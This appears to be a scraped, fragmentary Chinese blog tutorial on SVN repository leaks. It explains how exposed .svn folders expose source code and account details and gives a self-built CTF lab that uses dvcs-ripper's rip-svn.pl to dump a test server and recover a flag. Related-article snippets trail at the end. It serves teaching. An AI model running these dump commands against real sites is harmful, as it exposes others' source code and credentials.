SVN 维基介绍:https://zh.wikipedia.org/wiki/Subversion
SVN 安装介绍:https://blog.hungwin.com.tw/windows-server-svn-server-install/
SVN 命令教学:https://www.runoob.com/svn/svn-intro.html
SVN 与 Git 差异:https://www.twblogs.net/a/5c893efdbd9eee35fc148c46
SVN 与 Git 入门比较:https://codertw.com/程序语言/459573/
SVN 与 Git 指令比较:https://backlog.com/git-tutorial/tw/reference/git-svn.html#sec1
git pull
,也就是从 svn 服务器抓取最新版).svn/pristine/XX/XXX.svn-base
路径底下看到多个档案。 也因此,骇客将 .svn 下载下来後,由於通常无法连线到组织内部的 SVN 服务器,因而无法随意回溯到过去的任意历史版本中,只能看到当前版本的内容与 ****pristine
路径底下的原始码 。.svn/entries
获取到服务器原始码、svn服务器帐号密码等资讯.svn/text-base/XX/XXX.svn-base
(旧版本 SVN 路径,会存放原始码档案副本).svn/pristine/XX/XXX.svn-base
(新版本 SVN 路径,会存放原始码档案副本)./dvcs-ripper/rip-svn.pl -v -u <网址/.svn>
ls -al
cat <找到的档案>
tree .svn
cat <.svn/pristine/目录/档案.svn-base>
# Install apache
sudo apt install apache2 php
# Install SVN
sudo apt install subversion libsvn-dev
# Create Repo
cd ~
svnadmin create svn_2
# Checkout repo in public web folder
cd /var/www/html
sudo svn co file:///home/alan/svn_2
# Take ownership
cd svn_2
sudo chown -R "$(whoami)" .
# Create Flag
echo -e "<?php \n# My flag is: FLAG{Pu8L1c_SVN_rePO_15_D4N93rOuS} \n?>\nYou cannot see the flag" > index.php
svn add index.php
svn commit -m "Add flag"
# Install Dependencies
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
# Download Tool
git clone https://github.com/kost/dvcs-ripper.git
# Create Output Folder
mkdir dump && cd dump
# Dump
../dvcs-ripper/rip-svn.pl -v -u http://172.16.28.2/svn_2/.svn
# Show Flag
cat index.php
# Install apache2
sudo apt install apache2 php
# Install SVN
sudo apt install subversion libsvn-dev
# Create Repo
cd ~
svnadmin create svn_1
# Checkout repo in public web folder
cd /var/www/html
sudo svn co file:///home/alan/svn_1
# Take ownership
cd svn_1
sudo chown -R "$(whoami)" .
# Create Flag
echo "My flag is: FLAG{Pu8L1c_SVN_rePO_15_D4N93rOuS}" > index.php
svn add index.php
svn commit -m "Add flag"
# Delete Flag
echo "My flag is disappear :D" > index.php
svn commit -m "Delete flag"
# keep going~
echo "No flag forever ~" > index.php
svn commit -m "Lalala"
# Install Dependencies
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
# Download Tool
git clone https://github.com/kost/dvcs-ripper.git
# Create Output Folder
mkdir dump && cd dump
# Dump
../dvcs-ripper/rip-svn.pl -v -u http://172.16.28.2/svn_1/.svn
# Show Flag
tree .svn
cat .svn/pristine/11/1127bde982aa7d9c569433b988b09e760cbcbdc8.svn-base
<<: 03 | 认识 WordPress「区块编辑器」的发展和简介
为了我们之後可以更方便完成我们的App我们要先来学一下FireBase,话不多说我们赶快开始吧! F...
人脑编译器 来一遍1 var a=1; function outerFun(){ let b=2; ...
综合过去所学 今天要来练习的是「动态进度条」 废话不多说直接练习吧! 程序码: #include&l...
Microsoft AZ-900 exam preparation is tough but you...
图片来源 延续上一篇最後提到的老照片, 不知道大家认不认为除了FB开地球(开放所有人浏览)之外, ...